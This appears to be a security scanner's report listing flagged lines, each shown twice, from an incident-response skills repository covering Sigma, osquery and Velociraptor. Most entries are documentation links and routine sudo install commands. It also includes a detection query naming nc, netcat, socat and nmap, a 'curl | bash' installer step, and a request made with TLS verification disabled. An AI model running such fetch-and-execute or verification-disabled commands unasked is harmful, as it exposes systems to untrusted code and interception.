    description: Detects persistence establishment using [specific technique] references:     - https://attack.mitre.org/tactics/TA0003/
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0003/ author: Your Name
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0003/ author: Your Name
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0003/
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0003/

skills/incident-response/detection-sigma/assets/rule-templates/privilege-escalation.yml

  • Network accessline 4
    description: Detects privilege escalation attempts using [specific technique] references:     - https://attack.mitre.org/tactics/TA0004/
  • Network accessline 4
    description: Detects privilege escalation attempts using [specific technique] references:     - https://attack.mitre.org/tactics/TA0004/
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0004/ author: Your Name
  • Network accessline 5
    references:     - https://attack.mitre.org/tactics/TA0004/ author: Your Name
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0004/
  • Network accessline 6
    - https://attack.mitre.org/tactics/TA0004/

skills/incident-response/detection-sigma/references/backend-support.md

  • Network accessline 264
    # Splunk REST API url = "https://splunk:8089/servicesNS/nobody/search/saved/searches"
  • Network accessline 264
    # Splunk REST API url = "https://splunk:8089/servicesNS/nobody/search/saved/searches"
  • Network accessline 265
    url = "https://splunk:8089/servicesNS/nobody/search/saved/searches"
  • Network accessline 265
    url = "https://splunk:8089/servicesNS/nobody/search/saved/searches"
  • Network accessline 277
    response = requests.post(url, auth=auth, data=data, verify=False)
  • Network accessline 277
    response = requests.post(url, auth=auth, data=data, verify=False)
  • Network accessline 285
    es = Elasticsearch(["https://elasticsearch:9200"])
  • Network accessline 285
    es = Elasticsearch(["https://elasticsearch:9200"])
  • Network accessline 387
    - [pySigma Documentation](https://github.com/SigmaHQ/pySigma)
  • Network accessline 387
    - [pySigma Documentation](https://github.com/SigmaHQ/pySigma)
  • Network accessline 388
    - [pySigma Backend Plugins](https://github.com/SigmaHQ/pySigma/blob/main/Backends.md)
  • Network accessline 388
    - [pySigma Backend Plugins](https://github.com/SigmaHQ/pySigma/blob/main/Backends.md)
  • Network accessline 389
    - [Sigma Converter Web Tool](https://sigconverter.io/)
  • Network accessline 389
    - [Sigma Converter Web Tool](https://sigconverter.io/)
  • Network accessline 390
    - [Sigma GitHub Repository](https://github.com/SigmaHQ/sigma)
  • Network accessline 390
    - [Sigma GitHub Repository](https://github.com/SigmaHQ/sigma)

skills/incident-response/detection-sigma/references/compliance-mappings.md

  • Network accessline 358
    - [PCI DSS v3.2.1](https://www.pcisecuritystandards.org/)
  • Network accessline 358
    - [PCI DSS v3.2.1](https://www.pcisecuritystandards.org/)
  • Network accessline 359
    - [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
  • Network accessline 359
    - [NIST SP 800-53 Rev. 5](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
  • Network accessline 360
    - [ISO/IEC 27001:2013](https://www.iso.org/standard/54534.html)
  • Network accessline 360
    - [ISO/IEC 27001:2013](https://www.iso.org/standard/54534.html)
  • Network accessline 361
    - [SOC 2 Trust Service Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/trust-services-criteria)
  • Network accessline 361
    - [SOC 2 Trust Service Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/trust-services-criteria)

skills/incident-response/detection-sigma/references/field-modifiers.md

  • Network accessline 424
    - [Sigma Specification - Modifiers](https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#field-modifiers)
  • Network accessline 424
    - [Sigma Specification - Modifiers](https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#field-modifiers)
  • Network accessline 425
    - [pySigma Transformations](https://github.com/SigmaHQ/pySigma)
  • Network accessline 425
    - [pySigma Transformations](https://github.com/SigmaHQ/pySigma)
  • Network accessline 426
    - [Regex Testing Tool](https://regex101.com/)
  • Network accessline 426
    - [Regex Testing Tool](https://regex101.com/)

skills/incident-response/detection-sigma/references/log-source-guide.md

  • Network accessline 259
    - [Sigma Log Sources](https://github.com/SigmaHQ/sigma/wiki/Log-Sources)
  • Network accessline 259
    - [Sigma Log Sources](https://github.com/SigmaHQ/sigma/wiki/Log-Sources)
  • Network accessline 260
    - [Sysmon Event IDs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
  • Network accessline 260
    - [Sysmon Event IDs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
  • Network accessline 261
    - [Windows Security Events](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/)
  • Network accessline 261
    - [Windows Security Events](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/)

skills/incident-response/detection-sigma/references/mitre-attack-mapping.md

  • Network accessline 360
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 360
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 361
    - [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)
  • Network accessline 361
    - [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)
  • Network accessline 362
    - [Sigma ATT&CK Correlation](https://github.com/SigmaHQ/sigma/wiki/Tags)
  • Network accessline 362
    - [Sigma ATT&CK Correlation](https://github.com/SigmaHQ/sigma/wiki/Tags)

skills/incident-response/forensics-osquery/SKILL.md

  • Network accessline 20
    platforms: [linux, macos, windows] references:   - https://github.com/osquery/osquery
  • Network accessline 20
    platforms: [linux, macos, windows] references:   - https://github.com/osquery/osquery
  • Network accessline 21
    references:   - https://github.com/osquery/osquery   - https://osquery.io/
  • Network accessline 21
    references:   - https://github.com/osquery/osquery   - https://osquery.io/
  • Network accessline 22
    - https://github.com/osquery/osquery
  • Network accessline 22
    - https://github.com/osquery/osquery
  • Network accessline 23
    - https://osquery.io/
  • Network accessline 23
    - https://osquery.io/
  • Network accessline 24
    - https://osquery.readthedocs.io/
  • Network accessline 24
    - https://osquery.readthedocs.io/
  • Dangerous shell operationline 269
    -- Sudo usage history (Linux/macOS)
  • Dangerous shell operationline 269
    -- Sudo usage history (Linux/macOS)
  • Dangerous shell operationline 453
    - Run osqueryi with sudo/admin privileges: `sudo osqueryi`
  • Dangerous shell operationline 453
    - Run osqueryi with sudo/admin privileges: `sudo osqueryi`
  • Dangerous shell operationline 476
    - **Privilege Escalation**: Find SUID binaries, sudo abuse, service creation (T1548, T1543)
  • Dangerous shell operationline 476
    - **Privilege Escalation**: Find SUID binaries, sudo abuse, service creation (T1548, T1543)
  • Network accessline 488
    - [osquery GitHub Repository](https://github.com/osquery/osquery)
  • Network accessline 488
    - [osquery GitHub Repository](https://github.com/osquery/osquery)
  • Network accessline 489
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 489
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 490
    - [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/)
  • Network accessline 490
    - [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/)
  • Network accessline 491
    - [osquery SQL Reference](https://osquery.readthedocs.io/en/stable/introduction/sql/)
  • Network accessline 491
    - [osquery SQL Reference](https://osquery.readthedocs.io/en/stable/introduction/sql/)
  • Network accessline 492
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 492
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)

skills/incident-response/forensics-osquery/assets/forensic-packs/credential-access.conf

  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Dangerous shell operationline 76
    "description": "Sudo usage potentially leveraging cached credentials",
  • Dangerous shell operationline 76
    "description": "Sudo usage potentially leveraging cached credentials",

skills/incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.conf

  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 98
    },     "suspicious_network_tools": {       "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",
  • Network accessline 98
    },     "suspicious_network_tools": {       "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",
  • Network accessline 99
    "suspicious_network_tools": {       "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",       "interval": 3
  • Network accessline 99
    "suspicious_network_tools": {       "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",       "interval": 3
  • Network accessline 100
    "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",
  • Network accessline 100
    "query": "SELECT pid, name, path, cmdline FROM processes WHERE name IN ('nmap', 'masscan', 'nc', 'netcat', 'socat', 'proxychains') OR cmdline LIKE '%nmap%' OR cmdline LIKE '%nc %-%';",

skills/incident-response/forensics-osquery/references/mitre-attack-queries.md

  • Dangerous shell operationline 193
    ### T1548.003 - Sudo and Sudo Caching
  • Dangerous shell operationline 193
    ### T1548.003 - Sudo and Sudo Caching
  • Dangerous shell operationline 195
    Detect sudo abuse.
  • Dangerous shell operationline 195
    Detect sudo abuse.
  • Network accessline 538
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 538
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 539
    - [MITRE ATT&CK Techniques](https://attack.mitre.org/techniques/enterprise/)
  • Network accessline 539
    - [MITRE ATT&CK Techniques](https://attack.mitre.org/techniques/enterprise/)

skills/incident-response/forensics-osquery/references/osqueryd-deployment.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Dangerous shell operationline 30
    [Credential-related source omitted]
  • Dangerous shell operationline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 32
    # Add repository sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Network accessline 32
    # Add repository sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Dangerous shell operationline 33
    sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Dangerous shell operationline 33
    sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Network accessline 33
    sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Network accessline 33
    sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main'
  • Dangerous shell operationline 36
    sudo apt update
  • Dangerous shell operationline 36
    sudo apt update
  • Dangerous shell operationline 37
    sudo apt install osquery
  • Dangerous shell operationline 37
    sudo apt install osquery
  • Network accessline 43
    # Add osquery repository curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Network accessline 43
    # Add osquery repository curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Dangerous shell operationline 44
    curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Dangerous shell operationline 44
    curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Network accessline 44
    curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Network accessline 44
    curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery
  • Network accessline 46
    # Add repository sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Network accessline 46
    # Add repository sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Dangerous shell operationline 47
    sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Dangerous shell operationline 47
    sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Network accessline 47
    sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Network accessline 47
    sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo
  • Dangerous shell operationline 50
    sudo yum install osquery
  • Dangerous shell operationline 50
    sudo yum install osquery
  • Network accessline 59
    # Or download official PKG installer # https://pkg.osquery.io/darwin/osquery-<version>.pkg
  • Network accessline 59
    # Or download official PKG installer # https://pkg.osquery.io/darwin/osquery-<version>.pkg
  • Network accessline 60
    # https://pkg.osquery.io/darwin/osquery-<version>.pkg
  • Network accessline 60
    # https://pkg.osquery.io/darwin/osquery-<version>.pkg
  • Network accessline 66
    # Download MSI installer # https://pkg.osquery.io/windows/osquery-<version>.msi
  • Network accessline 66
    # Download MSI installer # https://pkg.osquery.io/windows/osquery-<version>.msi
  • Network accessline 67
    # https://pkg.osquery.io/windows/osquery-<version>.msi
  • Network accessline 67
    # https://pkg.osquery.io/windows/osquery-<version>.msi
  • Dangerous shell operationline 426
    sudo systemctl start osqueryd
  • Dangerous shell operationline 426
    sudo systemctl start osqueryd
  • Dangerous shell operationline 429
    sudo systemctl enable osqueryd
  • Dangerous shell operationline 429
    sudo systemctl enable osqueryd
  • Dangerous shell operationline 432
    sudo systemctl status osqueryd
  • Dangerous shell operationline 432
    sudo systemctl status osqueryd
  • Dangerous shell operationline 435
    sudo journalctl -u osqueryd -f
  • Dangerous shell operationline 435
    sudo journalctl -u osqueryd -f
  • Dangerous shell operationline 442
    sudo launchctl load /Library/LaunchDaemons/com.facebook.osqueryd.plist
  • Dangerous shell operationline 442
    sudo launchctl load /Library/LaunchDaemons/com.facebook.osqueryd.plist
  • Dangerous shell operationline 445
    sudo launchctl unload /Library/LaunchDaemons/com.facebook.osqueryd.plist
  • Dangerous shell operationline 445
    sudo launchctl unload /Library/LaunchDaemons/com.facebook.osqueryd.plist
  • Dangerous shell operationline 448
    sudo launchctl list | grep osquery
  • Dangerous shell operationline 448
    sudo launchctl list | grep osquery
  • Dangerous shell operationline 485
    sudo osqueryd --verbose --config_path=/etc/osquery/osquery.conf
  • Dangerous shell operationline 485
    sudo osqueryd --verbose --config_path=/etc/osquery/osquery.conf
  • Network accessline 516
    - [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/)
  • Network accessline 516
    - [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/)
  • Network accessline 517
    - [FleetDM Documentation](https://fleetdm.com/docs)
  • Network accessline 517
    - [FleetDM Documentation](https://fleetdm.com/docs)
  • Network accessline 518
    - [osquery Configuration](https://osquery.readthedocs.io/en/stable/deployment/configuration/)
  • Network accessline 518
    - [osquery Configuration](https://osquery.readthedocs.io/en/stable/deployment/configuration/)

skills/incident-response/forensics-osquery/references/platform-differences.md

  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 352
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 352
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 353
    - [Platform-specific table reference](https://osquery.io/schema/)
  • Network accessline 353
    - [Platform-specific table reference](https://osquery.io/schema/)

skills/incident-response/forensics-osquery/references/table-guide.md

  • Network accessline 478
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 478
    - [osquery Schema Documentation](https://osquery.io/schema/)
  • Network accessline 479
    - [Table schemas by version](https://osquery.io/schema/)
  • Network accessline 479
    - [Table schemas by version](https://osquery.io/schema/)

skills/incident-response/ir-velociraptor/SKILL.md

  • Network accessline 17
    tools: [velociraptor] references:   - https://docs.velociraptor.app/
  • Network accessline 17
    tools: [velociraptor] references:   - https://docs.velociraptor.app/
  • Network accessline 18
    references:   - https://docs.velociraptor.app/   - https://github.com/Velocidex/velociraptor
  • Network accessline 18
    references:   - https://docs.velociraptor.app/   - https://github.com/Velocidex/velociraptor
  • Network accessline 19
    - https://docs.velociraptor.app/
  • Network accessline 19
    - https://docs.velociraptor.app/
  • Network accessline 20
    - https://github.com/Velocidex/velociraptor
  • Network accessline 20
    - https://github.com/Velocidex/velociraptor
  • Network accessline 21
    - https://docs.velociraptor.app/artifact_references/
  • Network accessline 21
    - https://docs.velociraptor.app/artifact_references/
  • Network accessline 42
    # Download Velociraptor binary for your platform # https://github.com/Velocidex/velociraptor/releases
  • Network accessline 42
    # Download Velociraptor binary for your platform # https://github.com/Velocidex/velociraptor/releases
  • Network accessline 43
    # https://github.com/Velocidex/velociraptor/releases
  • Network accessline 43
    # https://github.com/Velocidex/velociraptor/releases
  • Network accessline 48
    # Access web interface at https://127.0.0.1:8889/
  • Network accessline 48
    # Access web interface at https://127.0.0.1:8889/
  • Network accessline 329
    - [Velociraptor Documentation](https://docs.velociraptor.app/)
  • Network accessline 329
    - [Velociraptor Documentation](https://docs.velociraptor.app/)
  • Network accessline 330
    - [VQL Reference](https://docs.velociraptor.app/vql_reference/)
  • Network accessline 330
    - [VQL Reference](https://docs.velociraptor.app/vql_reference/)
  • Network accessline 331
    - [Artifact Exchange](https://docs.velociraptor.app/exchange/)
  • Network accessline 331
    - [Artifact Exchange](https://docs.velociraptor.app/exchange/)
  • Network accessline 332
    - [GitHub Repository](https://github.com/Velocidex/velociraptor)
  • Network accessline 332
    - [GitHub Repository](https://github.com/Velocidex/velociraptor)
  • Network accessline 333
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 333
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)

skills/incident-response/ir-velociraptor/assets/artifact-template.yaml

  • Network accessline 124
    # Optional: External documentation references references:   - https://docs.velociraptor.app/docs/vql/
  • Network accessline 124
    # Optional: External documentation references references:   - https://docs.velociraptor.app/docs/vql/
  • Network accessline 125
    references:   - https://docs.velociraptor.app/docs/vql/   - https://attack.mitre.org/
  • Network accessline 125
    references:   - https://docs.velociraptor.app/docs/vql/   - https://attack.mitre.org/
  • Network accessline 126
    - https://docs.velociraptor.app/docs/vql/
  • Network accessline 126
    - https://docs.velociraptor.app/docs/vql/
  • Network accessline 127
    - https://attack.mitre.org/
  • Network accessline 127
    - https://attack.mitre.org/
  • Network accessline 130
    tools:   - name: ExampleTool     url: https://example.com/tool.exe
  • Network accessline 130
    tools:   - name: ExampleTool     url: https://example.com/tool.exe
  • Network accessline 131
    - name: ExampleTool     url: https://example.com/tool.exe     serve_locally: true
  • Network accessline 131
    - name: ExampleTool     url: https://example.com/tool.exe     serve_locally: true
  • Network accessline 132
    url: https://example.com/tool.exe
  • Network accessline 132
    url: https://example.com/tool.exe

skills/incident-response/ir-velociraptor/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/incident-response/ir-velociraptor/assets/hunt-template.yaml

  • Network accessline 137
    - type: slack       webhook: "https://hooks.slack.com/services/..."
  • Network accessline 137
    - type: slack       webhook: "https://hooks.slack.com/services/..."
  • Network accessline 138
    webhook: "https://hooks.slack.com/services/..."
  • Network accessline 138
    webhook: "https://hooks.slack.com/services/..."

skills/incident-response/ir-velociraptor/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/incident-response/ir-velociraptor/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/incident-response/ir-velociraptor/references/artifact-development.md

  • Network accessline 243
    nc.RemoteIP       FROM SuspiciousProcesses sp       JOIN NetworkConnections nc ON sp.Pid = nc.Pid
  • Network accessline 243
    nc.RemoteIP       FROM SuspiciousProcesses sp       JOIN NetworkConnections nc ON sp.Pid = nc.Pid
  • Network accessline 245
    JOIN NetworkConnections nc ON sp.Pid = nc.Pid
  • Network accessline 245
    JOIN NetworkConnections nc ON sp.Pid = nc.Pid
  • Network accessline 593
    references:   - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 593
    references:   - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 594
    - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 594
    - https://attack.mitre.org/techniques/T1547/001/
  • Network accessline 595
    - https://attack.mitre.org/techniques/T1053/005/
  • Network accessline 595
    - https://attack.mitre.org/techniques/T1053/005/
  • Network accessline 625
    2. Document clearly with examples 3. Add MITRE ATT&CK mappings 4. Submit to: https://docs.velociraptor.app/exchange/
  • Network accessline 625
    2. Document clearly with examples 3. Add MITRE ATT&CK mappings 4. Submit to: https://docs.velociraptor.app/exchange/
  • Network accessline 627
    4. Submit to: https://docs.velociraptor.app/exchange/
  • Network accessline 627
    4. Submit to: https://docs.velociraptor.app/exchange/

skills/incident-response/ir-velociraptor/references/deployment-guide.md

  • Network accessline 76
    # Linux wget https://github.com/Velocidex/velociraptor/releases/download/v0.72/velociraptor-v0.72.3-linux-amd64
  • Network accessline 76
    # Linux wget https://github.com/Velocidex/velociraptor/releases/download/v0.72/velociraptor-v0.72.3-linux-amd64
  • Network accessline 77
    wget https://github.com/Velocidex/velociraptor/releases/download/v0.72/velociraptor-v0.72.3-linux-amd64
  • Network accessline 77
    wget https://github.com/Velocidex/velociraptor/releases/download/v0.72/velociraptor-v0.72.3-linux-amd64
  • Dangerous shell operationline 81
    sudo mv velociraptor-v0.72.3-linux-amd64 /usr/local/bin/velociraptor
  • Dangerous shell operationline 81
    sudo mv velociraptor-v0.72.3-linux-amd64 /usr/local/bin/velociraptor
  • Network accessline 108
    Client:   server_urls:     - https://velociraptor.company.com:8000/
  • Network accessline 108
    Client:   server_urls:     - https://velociraptor.company.com:8000/
  • Network accessline 109
    server_urls:     - https://velociraptor.company.com:8000/   ca_certificate: |
  • Network accessline 109
    server_urls:     - https://velociraptor.company.com:8000/   ca_certificate: |
  • Network accessline 110
    - https://velociraptor.company.com:8000/
  • Network accessline 110
    - https://velociraptor.company.com:8000/
  • Dangerous shell operationline 145
    sudo cat > /etc/systemd/system/velociraptor.service <<'EOF'
  • Dangerous shell operationline 145
    sudo cat > /etc/systemd/system/velociraptor.service <<'EOF'
  • Dangerous shell operationline 173
    sudo useradd -r -s /bin/false velociraptor
  • Dangerous shell operationline 173
    sudo useradd -r -s /bin/false velociraptor
  • Dangerous shell operationline 176
    sudo mkdir -p /etc/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 176
    sudo mkdir -p /etc/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 177
    sudo chown -R velociraptor:velociraptor /etc/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 177
    sudo chown -R velociraptor:velociraptor /etc/velociraptor /var/lib/velociraptor
  • Dangerous shell operationline 180
    sudo systemctl daemon-reload
  • Dangerous shell operationline 180
    sudo systemctl daemon-reload
  • Dangerous shell operationline 181
    sudo systemctl enable velociraptor
  • Dangerous shell operationline 181
    sudo systemctl enable velociraptor
  • Dangerous shell operationline 182
    sudo systemctl start velociraptor
